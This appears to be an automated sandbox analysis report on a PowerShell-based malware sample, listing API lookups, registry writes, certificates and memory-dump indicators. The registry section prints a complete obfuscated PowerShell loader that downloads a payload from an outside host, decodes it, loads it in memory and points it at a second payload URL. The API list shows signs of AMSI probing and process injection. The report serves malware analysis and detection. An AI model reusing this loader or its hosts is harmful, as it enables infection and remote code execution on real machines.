00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter send (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CheckRemoteDebuggerPresent (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessesW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteValue (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SendMessageTimeout (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter SendMessageTimeoutA (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00006316) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006316)23:Td59,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\ENVIRONMENT"; Key: "INTERNAL_DB_CACHE"; Value: "$huntilite='https://chinasite.com.br/MSI_135401.png';$indicted=New-Object Net.WebClient;$reportages=$indicted.DownloadData($huntilite);$iceane=[Text.Encoding]::UTF8.GetString($reportages);$Vritra='IN-';$preregistration='-in1';$brokke=$iceane.IndexOf($Vritra);$boucanelle=$iceane.LastIndexOf($preregistration);if($brokke -eq -1 -or $boucanelle -eq -1){return};$Guiana=$brokke+$Vritra.Length;$trolleying=$iceane.Substring($Guiana,$boucanelle-$Guiana);$indisposition=$trolleying.Replace('#','A').ToCharArray();[Array]::Reverse($indisposition);$lucriferousness=$indisposition -join '';[byte[]]$auriculariales=[Convert]::FromBase64String($lucriferousness);$osteoglossoidea=[AppDomain]::CurrentDomain.Load($auriculariales);$oxymorons=@('https://crypterrr.42web.io/img_215839.png','','C:\Users\Public\Downloads\','Name_File','AddInProcess32','','AddInProcess32','','URL','C:\Users\Public\Downloads\','Name_File','js','1','','Task_Name','0','','','');try{$libcheck=$osteoglossoidea.GetType('Fiber.Program');$gaumy=$libcheck.GetMethod('Main');$gaumy.Invoke($null,[object[]]$oxymorons)}catch{}"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000"), "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing"), "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2F3\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")24:T603,The input sample is signed with a certificate issued by "CN=R12, O=Let's Encrypt, C=US" (SHA1: C3:C5:B6:6A:60:5D:B4:CF:90:B3:24:42:52:12:D9:ED:EE:64:A1:6C; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: EE:44:78:28:35:D8:FB:31:39:4D:A5:CE:B8:40:DC:93:84:9B:CF:5A; see report for more information) The input sample is signed with a certificate issued by "CN=ZeroSSL ECC Domain Secure Site CA, O=ZeroSSL, C=AT" (SHA1: 11:49:FD:C3:09:26:D6:A4:CC:AC:41:8C:B4:13:33:A0:80:2E:E0:7F; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust ECC Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 7F:95:27:6D:49:51:49:9F:D7:56:DF:34:4A:A2:4F:B3:8C:EA:F6:78; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: CA:77:88:C3:2D:A1:E4:B7:86:3A:4F:B5:7D:00:B5:5D:DA:CB:C7:F9; see report for more information) The input sample is signed with a certificate issued by "CN=R13, O=Let's Encrypt, C=US" (SHA1: 96:7C:E6:B9:D6:C3:E7:66:76:6B:1C:9D:80:A5:A1:35:CD:C9:03:A2; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 22:FF:89:58:65:61:FC:2D:52:F7:74:91:E9:F1:EF:F1:B8:0B:E3:3E; see report for more information)25:Tcc6,Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00006316.00000001.119834.43588000.00000002.mdmp") Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00006316.00000001.119834.6E340000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00006316.00000001.119834.6E340000.00000004.mdmp")26:Tfc6,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00003100-00000C2B-794599667] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00003100-00000C2B-794945534] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006316-00000C2B-797000110] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006316-00000C2B-797312740] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006316-00000C2B-797406265] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006316-00000C2B-797485112] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00006316-00000C2B-797632045] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006316-00000C2B-797679925] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006316-00000C2B-797739854] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006316-00000C2B-797797242] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00006316-00000C2B-797865235] Observed system executable 